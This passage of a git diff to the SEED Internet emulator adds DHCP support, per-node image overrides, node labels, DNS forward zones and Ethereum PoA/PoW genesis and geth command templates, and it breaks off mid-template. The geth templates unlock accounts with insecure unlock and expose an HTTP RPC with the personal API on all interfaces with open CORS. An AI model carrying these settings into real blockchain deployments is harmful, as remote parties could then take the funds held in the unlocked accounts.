e.setConsensusMechanism(ConsensusMechanism.POW) + e.unlockAccounts().startMiner() + e.enableExternalConnection() + emu.getVirtualNode("eth{}".format(i)).setDisplayName('Ethereum-{}-pow'.format(i)).addPortForwarding(hport, cport) + +print("Created {} nodes that use PoW consensus mechanism".format(end - start)) + +# Add the layer and save the component to a file +emu.addLayer(eth) +emu.dump('component-blockchain.bin') diff --git a/examples/not-ready-examples/26-proof-of-authority/images/blockchain-running.png b/examples/not-ready-examples/26-proof-of-authority/images/blockchain-running.png new file mode 100644 index 000000000..431faf06e Binary files /dev/null and b/examples/not-ready-examples/26-proof-of-authority/images/blockchain-running.png differ diff --git a/examples/not-ready-examples/26-proof-of-authority/images/bootstrapper-done.png b/examples/not-ready-examples/26-proof-of-authority/images/bootstrapper-done.png new file mode 100644 index 000000000..310bbc039 Binary files /dev/null and b/examples/not-ready-examples/26-proof-of-authority/images/bootstrapper-done.png differ diff --git a/examples/not-ready-examples/26-proof-of-authority/images/component-blockchain-output.png b/examples/not-ready-examples/26-proof-of-authority/images/component-blockchain-output.png new file mode 100644 index 000000000..4cee1da45 Binary files /dev/null and b/examples/not-ready-examples/26-proof-of-authority/images/component-blockchain-output.png differ diff --git a/examples/not-ready-examples/26-proof-of-authority/images/emulator-ready.png b/examples/not-ready-examples/26-proof-of-authority/images/emulator-ready.png new file mode 100644 index 000000000..3fde8edb0 Binary files /dev/null and b/examples/not-ready-examples/26-proof-of-authority/images/emulator-ready.png differ diff --git a/examples/not-ready-examples/26-proof-of-authority/images/geth-attach-done.png b/examples/not-ready-examples/26-proof-of-authority/images/geth-attach-done.png new file mode 100644 index 000000000..ba531db32 Binary files /dev/null and b/examples/not-ready-examples/26-proof-of-authority/images/geth-attach-done.png differ diff --git a/examples/not-ready-examples/26-proof-of-authority/images/manual-mode.png b/examples/not-ready-examples/26-proof-of-authority/images/manual-mode.png new file mode 100644 index 000000000..405f6c10e Binary files /dev/null and b/examples/not-ready-examples/26-proof-of-authority/images/manual-mode.png differ diff --git a/examples/not-ready-examples/26-proof-of-authority/images/unlock-and-seal.png b/examples/not-ready-examples/26-proof-of-authority/images/unlock-and-seal.png new file mode 100644 index 000000000..b4cbb6092 Binary files /dev/null and b/examples/not-ready-examples/26-proof-of-authority/images/unlock-and-seal.png differ diff --git a/seedemu/compiler/Docker.py b/seedemu/compiler/Docker.py index 739a2550e..3d3ac0222 100644 --- a/seedemu/compiler/Docker.py +++ b/seedemu/compiler/Docker.py @@ -8,9 +8,9 @@ from re import sub from ipaddress import IPv4Network, IPv4Address from shutil import copyfile +import json SEEDEMU_CLIENT_IMAGE='magicnat/seedemu-client' -ETH_SEEDEMU_CLIENT_IMAGE='rawisader/seedemu-eth-client' DockerCompilerFileTemplates: Dict[str, str] = {} @@ -156,6 +156,10 @@ DockerCompilerFileTemplates['compose_service_network'] = """\ {netId}: +{address} +""" + +DockerCompilerFileTemplates['compose_service_network_address'] = """\ ipv4_address: {address} """ @@ -180,16 +184,6 @@ - {clientPort}:8080/tcp """ -DockerCompilerFileTemplates['seedemu-eth-client'] = """\ - seedemu-eth-client: - image: {ethClientImage} - container_name: seedemu-eth-client - volumes: - - /var/run/docker.sock:/var/run/docker.sock - ports: - - {ethClientPort}:3000/tcp -""" - DockerCompilerFileTemplates['zshrc_pre'] = """\ export NOPRECMD=1 alias st=set_title @@ -290,14 +284,12 @@ class Docker(Compiler): __client_enabled: bool __client_port: int - __eth_client_enabled: bool - __eth_client_port: int - __client_hide_svcnet: bool __images: Dict[str, Tuple[DockerImage, int]] __forced_image: str __disable_images: bool + __image_per_node_list: Dict[Tuple[str, str], DockerImage] _used_images: Set[str] def __init__( @@ -308,8 +300,6 @@ def __init__( dummyNetworksMask: int = 24, clientEnabled: bool = False, clientPort: int = 8080, - ethClientEnabled: bool = False, - ethClientPort: int = 3000, clientHideServiceNet: bool = True ): """! @@ -350,15 +340,13 @@ def __init__( self.__client_enabled = clientEnabled self.__client_port = clientPort - self.__eth_client_enabled = ethClientEnabled - self.__eth_client_port = ethClientPort - self.__client_hide_svcnet = clientHideServiceNet self.__images = {} self.__forced_image = None self.__disable_images = False self._used_images = set() + self.__image_per_node_list = {} for image in DefaultImages: self.addImage(image) @@ -420,6 +408,19 @@ def disableImages(self, disabled: bool = True) -> Docker: self.__disable_images = disabled return self + + def setImageOverride(self, node:Node, imageName:str) -> Docker: + """! + @brief set the docker compiler to use a image on the specified Node. + + @param node target node to override image. + @param imageName name of the image to use. + + @returns self, for chaining api calls. + """ + asn = node.getAsn() + name = node.getName() + self.__image_per_node_list[(asn, name)]=imageName def _groupSoftware(self, emulator: Emulator): """! @@ -495,6 +496,17 @@ def _selectImageFor(self, node: Node) -> Tuple[DockerImage, Set[str]]: @returns tuple of selected image and set of missinge software. """ nodeSoft = node.getSoftware() + nodeKey = (node.getAsn(), node.getName()) + + if nodeKey in self.__image_per_node_list: + image_name = self.__image_per_node_list[nodeKey] + + assert image_name in self.__images, 'image-per-node configured, but image {} does not exist.'.format(image_name) + + (image, _) = self.__images[image_name] + + self._log('image-per-node configured, using {}'.format(image.getName())) + return (image, nodeSoft - image.getSoftware()) if self.__disable_images: self._log('disable-imaged configured, using base image.') @@ -644,7 +656,18 @@ def _getNodeMeta(self, node: Node) -> str: key = 'description', value = node.getDescription() ) + + if len(node.getClasses()) > 0: + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'class', + value = json.dumps(node.getClasses()).replace("\"", "\\\"") + ) + for key, value in node.getLabel().items(): + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = key, + value = value + ) n = 0 for iface in node.getInterfaces(): net = iface.getNet() @@ -727,7 +750,6 @@ def _compileNode(self, node: Node) -> str: (scope, type, _) = node.getRegistryInfo() prefix = self._contextToPrefix(scope, type) real_nodename = '{}{}'.format(prefix, node.getName()) - node_nets = '' dummy_addr_map = '' @@ -758,6 +780,11 @@ def _compileNode(self, node: Node) -> str: node.getAsn(), node.getName() )) + if address == None: + address = "" + else: + address = DockerCompilerFileTemplates['compose_service_network_address'].format(address = address) + node_nets += DockerCompilerFileTemplates['compose_service_network'].format( netId = real_netname, address = address @@ -939,7 +966,6 @@ def _doCompile(self, emulator: Emulator): self.__networks += self._compileNet(obj) for ((scope, type, name), obj) in registry.getAll().items(): - if type == 'rnode': self._log('compiling router node {} for as{}...'.format(name, scope)) self.__services += self._compileNode(obj) @@ -964,14 +990,6 @@ def _doCompile(self, emulator: Emulator): clientPort = self.__client_port ) - if self.__eth_client_enabled: - self._log('enabling seedemu-eth-client...') - - self.__services += DockerCompilerFileTemplates['seedemu-eth-client'].format( - ethClientImage = ETH_SEEDEMU_CLIENT_IMAGE, - ethClientPort = self.__eth_client_port, - ) - local_images = '' for (image, _) in self.__images.values(): diff --git a/seedemu/core/AddressAssignmentConstraint.py b/seedemu/core/AddressAssignmentConstraint.py index c4a03f94f..bd9de1869 100644 --- a/seedemu/core/AddressAssignmentConstraint.py +++ b/seedemu/core/AddressAssignmentConstraint.py @@ -1,3 +1,4 @@ +from typing import Dict, Tuple from .Printable import Printable from .enums import NodeRole @@ -50,17 +51,22 @@ class AddressAssignmentConstraint(Printable): __hostEnd: int __routerStart: int __routerEnd: int + __dhcpStart: int + __dhcpEnd: int __hostStep: int __routerStep: int + __ipRanges:Dict[str, Tuple[int, int]] = {} - def __init__(self, hostStart: int = 71, hostEnd: int = 99, hostStep: int = 1, routerStart: int = 254, routerEnd: int = 200, routerStep: int = -1): + def __init__(self, hostStart: int = 71, hostEnd: int = 99, hostStep: int = 1, dhcpStart: int = 101, dhcpEnd: int = 120, routerStart: int = 254, routerEnd: int = 200, routerStep: int = -1): """! AddressAssignmentConstraint constructor. @param hostStart start address offset of host nodes. @param hostEnd end address offset of host nodes. @param hostStep end step of host address. + @param dhcpStart start address offset of dhcp clients. + @param dhcpEnd end address offset of dhcp clients. @param routerStart start address offset of router nodes. @param routerEnd end address offset of router nodes. @param routerStep end step of router address. @@ -70,10 +76,84 @@ def __init__(self, hostStart: int = 71, hostEnd: int = 99, hostStep: int = 1, ro self.__hostEnd = hostEnd self.__hostStep = hostStep + self.__dhcpStart = dhcpStart + self.__dhcpEnd = dhcpEnd + + self.__routerStart = routerStart + self.__routerEnd = routerEnd + self.__routerStep = routerStep + + self.__ipRanges['host'] = (hostStart, hostEnd) if hostStep > 0 else (hostEnd, hostStart) + self.__ipRanges['dhcp'] = (dhcpStart, dhcpEnd) + self.__ipRanges['router'] = (routerStart, routerEnd) if routerStep > 0 else (routerEnd, routerStart) + self.__checkIpConflict() + + + def setHostIpRange(self, hostStart:int , hostEnd: int, hostStep: int): + """! + @brief Set IP Range for host nodes + + @param hostStart start address offset of host nodes. + @param hostEnd end address offset of host nodes. + @param hostStep end step of host address. + """ + self.__hostStart = hostStart + self.__hostEnd = hostEnd + self.__hostStep = hostStep + + self.__ipRanges['host'] = (hostStart, hostEnd) if hostStep > 0 else (hostEnd, hostStart) + self.__checkIpConflict() + + def setDhcpIpRange(self, dhcpStart:int, dhcpEnd: int): + """! + @brief Set IP Range for DHCP Server to use + + @param dhcpStart start address offset of dhcp clients. + @param dhcpEnd end address offset of dhcp clients. + """ + self.__dhcpStart = dhcpStart + self.__dhcpEnd = dhcpEnd + self.__ipRanges['dhcp'] = (dhcpStart, dhcpEnd) + self.__checkIpConflict() + + + def setRouterIpRange(self, routerStart:int, routerEnd:int, routerStep: int): + """! + @brief Set IP Range for router nodes + + @param routerStart start address offset of router nodes. + @param routerEnd end address offset of router nodes. + @param routerStep end step of router address. + """ self.__routerStart = routerStart self.__routerEnd = routerEnd self.__routerStep = routerStep + self.__ipRanges['router'] = (routerStart, routerEnd) if routerStep > 0 else (routerEnd, routerStart) + self.__checkIpConflict() + + + def __checkIpConflict(self): + """! + @brief Check conflict among IP Ranges + """ + ipRangesManager = self.__ipRanges + for type, ipRange in ipRangesManager.items(): + assert ipRange[0] < ipRange[1], "Set {}'s ip range again.".format(type) + + while len(ipRangesManager) > 1: + minStartType = min(ipRangesManager.items(), key=lambda x: x[1][0])[0] + minStartEnd = ipRangesManager.pop(minStartType)[1] + nextMinStartType = min(ipRangesManager.items(), key=lambda x: x[1][0])[0] + nextMinStart = ipRangesManager[nextMinStartType][0] + assert minStartEnd < nextMinStart, "The ip ranges of {} and {} conflict".format(minStartType, nextMinStartType) + + def getDhcpIpRange(self) -> list: + """! + @brief Get IP range for DHCP server to use. + """ + return [str(self.__dhcpStart), str(self.__dhcpEnd)] + def getOffsetAssigner(self, type: NodeRole) -> Assigner: """! @brief Get IP offset assigner for a type of node. diff --git a/seedemu/core/Compiler.py b/seedemu/core/Compiler.py index e2836c321..2d245a080 100644 --- a/seedemu/core/Compiler.py +++ b/seedemu/core/Compiler.py @@ -55,29 +55,6 @@ def compile(self, emulator: Emulator, output: str, override: bool = False): self._doCompile(emulator) chdir(cur) - def createDirectoryAtBase(self, base:str, directory: str, override: bool = False): - """! - @brief Creating a directory at a certain base depending on your current directory - @param base is the folder in which we want to create an inner directory - @param directory is the name of the directory that will be created - @param override (optional) overrides the inner directory if it already exists. False by default. - """ - cur = getcwd() - if path.exists(base): - chdir(base) - if override: - self._log('folder "{}" already exists, overriding.'.format(directory)) - rmtree(directory) - mkdir(directory) - chdir(cur) - - def deleteDirectoryAtBase(self, base: str, directory: str): - cur = getcwd() - if path.exists(base): - chdir(base) - if path.exists(directory): - rmtree(directory) - def _log(self, message: str) -> None: """! @brief Log to stderr. diff --git a/seedemu/core/Network.py b/seedemu/core/Network.py index 51f8de38d..e2b493e7b 100644 --- a/seedemu/core/Network.py +++ b/seedemu/core/Network.py @@ -179,6 +179,51 @@ def getPrefix(self) -> IPv4Network: """ return self.__prefix + def setHostIpRange(self, hostStart:int , hostEnd: int, hostStep: int): + """! + @brief Set IP Range for host nodes + + @param hostStart start address offset of host nodes. + @param hostEnd end address offset of host nodes. + @param hostStep end step of host address. + """ + + self.__aac.setHostIpRange(hostStart, hostEnd, hostStep) + self.__assigners[NodeRole.Host] = self.__aac.getOffsetAssigner(NodeRole.Host) + + return self + + def setDhcpIpRange(self, dhcpStart:int, dhcpEnd: int): + """! + @brief Set IP Range for DHCP Server to use + + @param dhcpStart start address offset of dhcp clients. + @param dhcpEnd end address offset of dhcp clients. + """ + self.__aac.setDhcpIpRange(dhcpStart, dhcpEnd) + return self + + + def setRouterIpRange(self, routerStart:int, routerEnd:int, routerStep: int): + + """! + @brief Set IP Range for router nodes + + @param routerStart start address offset of router nodes. + @param routerEnd end address offset of router nodes. + @param routerStep end step of router address. + """ + + self.__aac.setRouterIpRange(routerStart, routerEnd, routerStep) + self.__assigners[NodeRole.Router] = self.__aac.getOffsetAssigner(NodeRole.Router) + return self + + def getDhcpIpRange(self) -> list: + """! + @brief Get IP range for DHCP server to use. + """ + return self.__aac.getDhcpIpRange() + def assign(self, nodeRole: NodeRole, asn: int = -1) -> IPv4Address: """! @brief Assign IP for interface. diff --git a/seedemu/core/Node.py b/seedemu/core/Node.py index 60b5cf01e..911db0ed6 100644 --- a/seedemu/core/Node.py +++ b/seedemu/core/Node.py @@ -207,6 +207,8 @@ class Node(Printable, Registrable, Configurable, Vertex): __asn: int __scope: str __role: NodeRole + __classes: List[str] + __label: Dict[str, str] __interfaces: List[Interface] __files: Dict[str, File] __imported_files: Dict[str, str] @@ -242,6 +244,8 @@ def __init__(self, name: str, role: NodeRole, asn: int, scope: str = None): self.__asn = asn self.__role = role self.__name = name + self.__classes = [] + self.__label = {} self.__scope = scope if scope != None else str(asn) self.__softwares = set() self.__build_commands = [] @@ -316,11 +320,11 @@ def configure(self, emulator: Emulator): if len(self.__name_servers) == 0: return - - self.appendStartCommand(': > /etc/resolv.conf') - for s in self.__name_servers: - self.appendStartCommand('echo "nameserver {}" >> /etc/resolv.conf'.format(s)) + self.insertStartCommand(0,': > /etc/resolv.conf') + for idx, s in enumerate(self.__name_servers, start=1): + self.insertStartCommand(idx, 'echo "nameserver {}" >> /etc/resolv.conf'.format(s)) + def setNameServers(self, servers: List[str]) -> Node: """! @brief set recursive name servers to use on this node. Overwrites @@ -408,6 +412,26 @@ def __joinNetwork(self, net: Network, address: str = "auto"): """ if address == "auto": _addr = net.assign(self.__role, self.__asn) + elif address == "dhcp": + _addr = None + self.__name_servers = [] + self.addSoftware('isc-dhcp-client') + self.setFile('dhclient.sh', '''\ + #!/bin/bash + ip addr flush {iface} + err=$(dhclient {iface} 2>&1) + + if [ -z "$err" ] + then + echo "dhclient success" + else + filename=$(echo $err | cut -d "'" -f 2) + cp $filename /etc/resolv.conf + rm $filename + fi + '''.format(iface=net.getName())) + self.appendStartCommand('chmod +x dhclient.sh; ./dhclient.sh') + else: _addr = IPv4Address(address) _iface = Interface(net) @@ -433,6 +457,26 @@ def joinNetwork(self, netname: str, address: str = "auto") -> Node: self.__pending_nets.append((netname, address)) return self + + def updateNetwork(self, netname:str, address: str= "auto") -> Node: + """! + @brief Update connection of the node to a network. + @param netname name of the network. + @param address (optional) override address assigment. + + @returns assigned IP address + + @returns self, for chaining API calls. + """ + assert not self.__asn == 0, 'This API is only avaliable on a real physical node.' + + for pending_netname, pending_address in self.__pending_nets: + if pending_netname == netname: + self.__pending_nets.remove((pending_netname, pending_address)) + + self.__pending_nets.append((netname, address)) + + return self def crossConnect(self, peerasn: int, peername: str, address: str) -> Node: """! @@ -496,6 +540,38 @@ def getRole(self) -> NodeRole: """ return self.__role + def appendClassName(self, className:str) -> Node: + """! + @brief Append class to a current node + + @returns self, for chaining API calls. + """ + self.__classes.append(className) + + return self + + def getClasses(self) -> list: + """! + @brief Get service of current node + + @returns service + """ + + return self.__classes + + def setLabel(self, key:str, value:str) -> Node: + """! + @brief Add Label to a current node + + @returns self, for chaining API calls. + """ + + self.__label[key] = value + return self + + def getLabel(self) -> dict: + return self.__label + def getFile(self, path: str) -> File: """! @brief Get a file object, and create if not exist. diff --git a/seedemu/layers/Base.py b/seedemu/layers/Base.py index a75b0f8a6..6de50dc66 100644 --- a/seedemu/layers/Base.py +++ b/seedemu/layers/Base.py @@ -191,6 +191,19 @@ def getInternetExchangeIds(self) -> List[int]: """ return list(self.__ixes.keys()) + def getNodesByName(self, name:str) -> List[Node]: + """! + @brief Get list of Nodes by name. + + @returns List of Nodes whose name is start with input_name. + """ + nodes = [] + for _as in self.__ases.values(): + for host_name in _as.getHosts(): + if host_name.startswith(name): + nodes.append(_as.getHost(host_name)) + return nodes + def _doCreateGraphs(self, emulator: Emulator): graph = self._addGraph('Layer 2 Connections', False) for asobj in self.__ases.values(): diff --git a/seedemu/services/DHCPService.py b/seedemu/services/DHCPService.py new file mode 100644 index 000000000..900a541c0 --- /dev/null +++ b/seedemu/services/DHCPService.py @@ -0,0 +1,172 @@ +from __future__ import annotations +from seedemu import * +from ipaddress import IPv4Address, IPv4Network + +DHCPServiceFileTemplates: Dict[str, str] = {} + +DHCPServiceFileTemplates['isc_dhcp_server_conf'] = '''\ +INTERFACESv4="{iface}" +INTERFACESv6="" +''' + +DHCPServiceFileTemplates['dhcpd_conf'] = '''\ +# option definitions common to all supported networks... +# option domain-name "example.org"; +# option domain-name-servers server.example.org; + +default-lease-time 600; +max-lease-time 7200; + +# The ddns-updates-style parameter controls whether or not the server will +# attempt to do a DNS update when a lease is confirmed. We default to the +# behavior of the version 2 packages ('none', since DHCP v2 didn't +# have support for DDNS.) +ddns-update-style none; + +# A slightly different configuration for an internal subnet. +subnet {subnet} netmask {netmask} {{ + range {ip_start} {ip_end}; + {name_servers} + option subnet-mask {netmask}; + option routers {router}; + option broadcast-address {broadcast_address}; + default-lease-time 600; + max-lease-time 7200; +}} +''' + +DHCPServiceFileTemplates['dhcpd_conf_dns'] = '''\ +option domain-name-servers {name_servers};\ +''' + +class DHCPServer(Server): + """! + @brief The dynamic host configuration protocol server. + """ + __node: Node + __emulator: Emulator + __name_servers: str + __dhcp_start: int + __dhcp_end: int + __is_range_changed: bool + + def __init__(self): + """! + @brief DHCPServer Constructor. + """ + self.__name_servers = "#option domain-name-servers none;" + self.__is_range_changed = False + + def configure(self, node: Node, emulator:Emulator): + """! + @brief configure the node + """ + self.__node = node + self.__emulator = emulator + + def setIpRange(self, dhcpStart:int, dhcpEnd: int) -> DHCPServer: + """! + @brief set DHCP IP range + """ + self.__dhcp_start = dhcpStart + self.__dhcp_end = dhcpEnd + self.__is_range_changed = True + + return self + + def install(self, node:Node): + """! + @brief Install the service + """ + + node.addSoftware('isc-dhcp-server') + + ifaces = self.__node.getInterfaces() + assert len(ifaces) > 0, 'node {} has no interfaces'.format(node.getName()) + + reg = self.__emulator.getRegistry() + (scope, _, _) = node.getRegistryInfo() + rif: Interface = None + hif: Interface = ifaces[0] + hnet: Network = hif.getNet() + + cur_scope = ScopedRegistry(scope, reg) + for router in cur_scope.getByType('rnode'): + if rif != None: break + for riface in router.getInterfaces(): + if riface.getNet() == hnet: + rif = riface + break + + assert rif != None, 'Host {} in as{} in network {}: no router'.format(self.__node.getname, scope, hnet.getName()) + + subnet = hnet.getPrefix().with_netmask.split('/')[0] + netmask = hnet.getPrefix().with_netmask.split('/')[1] + iface_name = hnet.getName() + router_address = rif.getAddress() + broadcast_address = hnet.getPrefix().broadcast_address + + if (self.__is_range_changed): + hnet.setDhcpIpRange(self.__dhcp_start, self.__dhcp_end) + + ip_address_start, ip_address_end = hnet.getDhcpIpRange() + ip_start = ip_end = '.'.join(subnet.split(".")[0:3]) + ip_start += "." + ip_address_start + ip_end += "." + ip_address_end + + nameServers:list = self.__node.getNameServers() + + if len(nameServers) > 0: + self.__name_servers = DHCPServiceFileTemplates['dhcpd_conf_dns'].format(name_servers = ", ".join(nameServers)) + + node.setFile('/etc/default/isc-dhcp-server', DHCPServiceFileTemplates['isc_dhcp_server_conf'].format(iface=iface_name)) + node.setFile('/etc/dhcp/dhcpd.conf', DHCPServiceFileTemplates['dhcpd_conf'].format( + subnet = subnet, + netmask = netmask, + name_servers = self.__name_servers, + ip_start = ip_start, + ip_end = ip_end, + router = router_address, + broadcast_address = broadcast_address + )) + + node.appendStartCommand('/etc/init.d/isc-dhcp-server restart') + + + def print(self, indent: int) -> str: + out = ' ' * indent + out += 'DHCP server object.\n' + + return out + +class DHCPService(Service): + """! + @brief The dynamic host configuration protocol service class. + """ + + def __init__(self): + """! + @brief DHCPService constructor + """ + + super().__init__() + self.addDependency('Base', False, False) + + def _createServer(self) -> Server: + return DHCPServer() + + + def configure(self, emulator: Emulator): + super().configure(emulator) + targets = self.getTargets() + for (server, node) in targets: + server.configure(node, emulator) + + def getName(self) -> str: + return 'DHCPService' + + def print(self, indent: int) -> str: + out = ' ' * indent + out += 'DHCPServiceLayer\n' + + return out diff --git a/seedemu/services/DomainNameCachingService.py b/seedemu/services/DomainNameCachingService.py index 23ca05d49..5ebe21f07 100644 --- a/seedemu/services/DomainNameCachingService.py +++ b/seedemu/services/DomainNameCachingService.py @@ -26,6 +26,7 @@ class DomainNameCachingServer(Server, Configurable): __root_servers: List[str] __configure_resolvconf: bool __emulator: Emulator + __pending_forward_zones: Dict[str, str] def __init__(self): """! @@ -33,6 +34,7 @@ def __init__(self): """ self.__root_servers = [] self.__configure_resolvconf = False + self.__pending_forward_zones = {} def setConfigureResolvconf(self, configure: bool) -> DomainNameCachingServer: """! @@ -74,18 +76,41 @@ def getRootServers(self) -> List[str]: """ return self.__root_servers + def addForwardZone(self, zone: str, vnode: str) -> DomainNameCachingServer: + """! + @brief Add a new forward zone, foward to the given virtual node name. + + @param name zone name. + @param vnode virtual node name. + + @returns self, for chaining API calls. + """ + self.__pending_forward_zones[zone] = vnode + + return self + def configure(self, emulator: Emulator): self.__emulator = emulator def install(self, node: Node): node.addSoftware('bind9') node.setFile('/etc/bind/named.conf.options', DomainNameCachingServiceFileTemplates['named_options']) + node.setFile('/etc/bind/named.conf.local','') if len(self.__root_servers) > 0: hint = '\n'.join(self.__root_servers) node.setFile('/usr/share/dns/root.hints', hint) node.setFile('/etc/bind/db.root', hint) node.appendStartCommand('service named start') + for (zone_name, vnode_name) in self.__pending_forward_zones.items(): + pnode = self.__emulator.resolvVnode(vnode_name) + + ifaces = pnode.getInterfaces() + assert len(ifaces) > 0, 'resolvePendingRecords(): node as{}/{} has no interfaces'.format(pnode.getAsn(), pnode.getName()) + vnode_addr = ifaces[0].getAddress() + node.appendFile('/etc/bind/named.conf.local', + 'zone "{}" {{ type forward; forwarders {{ {}; }}; }};\n'.format(zone_name, vnode_addr)) + if not self.__configure_resolvconf: return reg = self.__emulator.getRegistry() diff --git a/seedemu/services/DomainNameService.py b/seedemu/services/DomainNameService.py index 7322e1d0b..395103f5e 100644 --- a/seedemu/services/DomainNameService.py +++ b/seedemu/services/DomainNameService.py @@ -4,8 +4,10 @@ from typing import List, Dict, Tuple, Set from re import sub from random import randint +import requests DomainNameServiceFileTemplates: Dict[str, str] = {} +ROOT_ZONE_URL = 'https://www.internic.net/domain/root.zone' DomainNameServiceFileTemplates['named_options'] = '''\ options { @@ -86,6 +88,18 @@ def addRecord(self, record: str) -> Zone: self.__records.append(record) return self + + def deleteRecord(self, record: str) -> Zone: + """! + @brief Delete the record from zone. + + @todo NS? + + @returns self, for chaining API calls. + """ + self.__records.remove(record) + + return self def addGuleRecord(self, fqdn: str, addr: str) -> Zone: """! @@ -225,6 +239,7 @@ class DomainNameServer(Server): __zones: Set[Tuple[str, bool]] __node: Node __is_master: bool + __is_real_root: bool def __init__(self): """! @@ -232,6 +247,7 @@ def __init__(self): """ self.__zones = set() self.__is_master = False + self.__is_real_root = False def addZone(self, zonename: str, createNsAndSoa: bool = True) -> DomainNameServer: """! @@ -249,7 +265,7 @@ def addZone(self, zonename: str, createNsAndSoa: bool = True) -> DomainNameServe return self - def setMaster(self) -> DomainNameService: + def setMaster(self) -> DomainNameServer: """! @brief set the name server to be master name server. @@ -259,6 +275,16 @@ def setMaster(self) -> DomainNameService: return self + def setRealRootNS(self) -> DomainNameServer: + """! + @brief set the name server to be a real root name server. + + @returns self, for chaining API calls. + """ + self.__is_real_root = True + + return self + def getNode(self) -> Node: """! @brief get node associated with the server. Note that this only works @@ -288,6 +314,29 @@ def print(self, indent: int) -> str: return out + + def __getRealRootRecords(self): + """! + @brief Helper tool, get real-world root zone records list by + RIPE RIS. + + @throw AssertionError if API failed. + """ + rules = [] + rslt = requests.get(ROOT_ZONE_URL) + + assert rslt.status_code == 200, 'RIPEstat API returned non-200' + + rules_byte = rslt.iter_lines() + + for rule_byte in rules_byte: + line_str:str = rule_byte.decode('utf-8') + if not line_str.startswith('.'): + rules.append(line_str) + + return rules + + def configure(self, node: Node, dns: DomainNameService): """! @brief configure the node. @@ -323,6 +372,10 @@ def configure(self, node: Node, dns: DomainNameService): zone.addGuleRecord('ns{}.{}'.format(str(ns_number), zonename), addr) zone.addRecord('ns{}.{} A {}'.format(str(ns_number), zonename, addr)) zone.addRecord('@ NS ns{}.{}'.format(str(ns_number), zonename)) + + if zone.getName() == "." and self.__is_real_root: + for record in self.__getRealRootRecords(): + zone.addRecord(record) def install(self, node: Node, dns: DomainNameService): """! @@ -521,4 +574,4 @@ def print(self, indent: int) -> str: indent += 4 out += self.__rootZone.print(indent) - return out \ No newline at end of file + return out diff --git a/seedemu/services/EthereumService.py b/seedemu/services/EthereumService.py index 26d4c7ef4..4ffe880a7 100644 --- a/seedemu/services/EthereumService.py +++ b/seedemu/services/EthereumService.py @@ -3,62 +3,314 @@ # __author__ = 'Demon' from __future__ import annotations -from seedemu.core import Node, Service, Server -from typing import Dict, List +from enum import Enum +from os import mkdir, path, makedirs, rename +from seedemu.core import Node, Service, Server, Emulator +from typing import Dict, List, Tuple + +import json +from datetime import datetime, timezone ETHServerFileTemplates: Dict[str, str] = {} +GenesisFileTemplates: Dict[str, str] = {} +GethCommandTemplates: Dict[str, str] = {} -# genesis: the start of the chain -ETHServerFileTemplates['genesis'] = '''{ - "nonce":"0x0000000000000042", - "timestamp":"0x0", - "parentHash":"0x0000000000000000000000000000000000000000000000000000000000000000", - "extraData":"0x", - "gasLimit":"0x80000000", - "difficulty":"0x0", - "mixhash":"0x0000000000000000000000000000000000000000000000000000000000000000", - "coinbase":"0x3333333333333333333333333333333333333333", - "config": { - "chainId": 10, - "homesteadBlock": 0, - "eip150Block": 0, - "eip150Hash": "0x0000000000000000000000000000000000000000000000000000000000000000", - "eip155Block": 0, - "eip158Block": 0, - "byzantiumBlock": 0, - "constantinopleBlock": 0, - "petersburgBlock": 0, - "istanbulBlock": 0, - "ethash": {} - }, - "alloc":{} -}''' -# bootstraper: get enode urls from other eth nodes. +# bootstrapper: get enode urls from other eth nodes. ETHServerFileTemplates['bootstrapper'] = '''\ #!/bin/bash - while read -r node; do { let count=0 ok=true - until curl -sHf http://$node/eth-enode-url > /dev/null; do { echo "eth: node $node not ready, waiting..." sleep 3 let count++ - [ $count -gt 20 ] && { + [ $count -gt 60 ] && { echo "eth: node $node failed too many times, skipping." ok=false break } }; done - ($ok) && { echo "`curl -s http://$node/eth-enode-url`," >> /tmp/eth-node-urls } }; done < /tmp/eth-nodes ''' +class ConsensusMechanism(Enum): + ''' + @brief Consensus Mechanism Enum. POA for Proof of Authority, POW for Proof Of Work + ''' + POA = 'poa' + POW = 'pow' + +GenesisFileTemplates['POA'] = '''\ +{ + "config": { + "chainId": 10, + "homesteadBlock": 0, + "eip150Block": 0, + "eip150Hash": "0x0000000000000000000000000000000000000000000000000000000000000000", + "eip155Block": 0, + "eip158Block": 0, + "byzantiumBlock": 0, + "constantinopleBlock": 0, + "petersburgBlock": 0, + "istanbulBlock": 0, + "clique": { + "period": 15, + "epoch": 30000 + } + }, + "nonce": "0x0", + "timestamp": "0x622a4e1a", + "extraData": "0x0", + "gasLimit": "0x47b760", + "difficulty": "0x1", + "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", + "coinbase": "0x0000000000000000000000000000000000000000", + "alloc": { + }, + "number": "0x0", + "gasUsed": "0x0", + "parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000", + "baseFeePerGas": null + } + ''' + +GenesisFileTemplates['POW'] = '''\ +{ + "nonce":"0x0", + "timestamp":"0x621549f1", + "parentHash":"0x0000000000000000000000000000000000000000000000000000000000000000", + "extraData":"0x", + "gasLimit":"0x80000000", + "difficulty":"0x0", + "mixhash":"0x0000000000000000000000000000000000000000000000000000000000000000", + "coinbase":"0x0000000000000000000000000000000000000000", + "number": "0x0", + "gasUsed": "0x0", + "baseFeePerGas": null, + "config": { + "chainId": 10, + "homesteadBlock": 0, + "eip150Block": 0, + "eip150Hash": "0x0000000000000000000000000000000000000000000000000000000000000000", + "eip155Block": 0, + "eip158Block": 0, + "byzantiumBlock": 0, + "constantinopleBlock": 0, + "petersburgBlock": 0, + "istanbulBlock": 0, + "ethash": { + } + }, + "alloc": { + } +} +''' + +GenesisFileTemplates['POA_extra_data'] = '''\ +0x0000000000000000000000000000000000000000000000000000000000000000{signer_addresses}0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000''' + +GethCommandTemplates['base'] = '''\ +nice -n 19 geth --datadir {datadir} --identity="NODE_{node_id}" --networkid=10 --syncmode {syncmode} --snapshot={snapshot} --verbosity=2 --allow-insecure-unlock --port 30303 ''' + +GethCommandTemplates['mine'] = '''\ +--miner.etherbase "{coinbase}" --mine --miner.threads={num_of_threads} ''' + +GethCommandTemplates['unlock'] = '''\ +--unlock "{accounts}" --password "/tmp/eth-password" ''' + +GethCommandTemplates['http'] = '''\ +--http --http.addr 0.0.0.0 --http.port {gethHttpPort} --http.corsdomain "*" --http.api web3,eth,debug,personal,net,clique ''' + +GethCommandTemplates['ws'] = '''\ +--ws --ws.addr 0.0.0.0 --ws.port 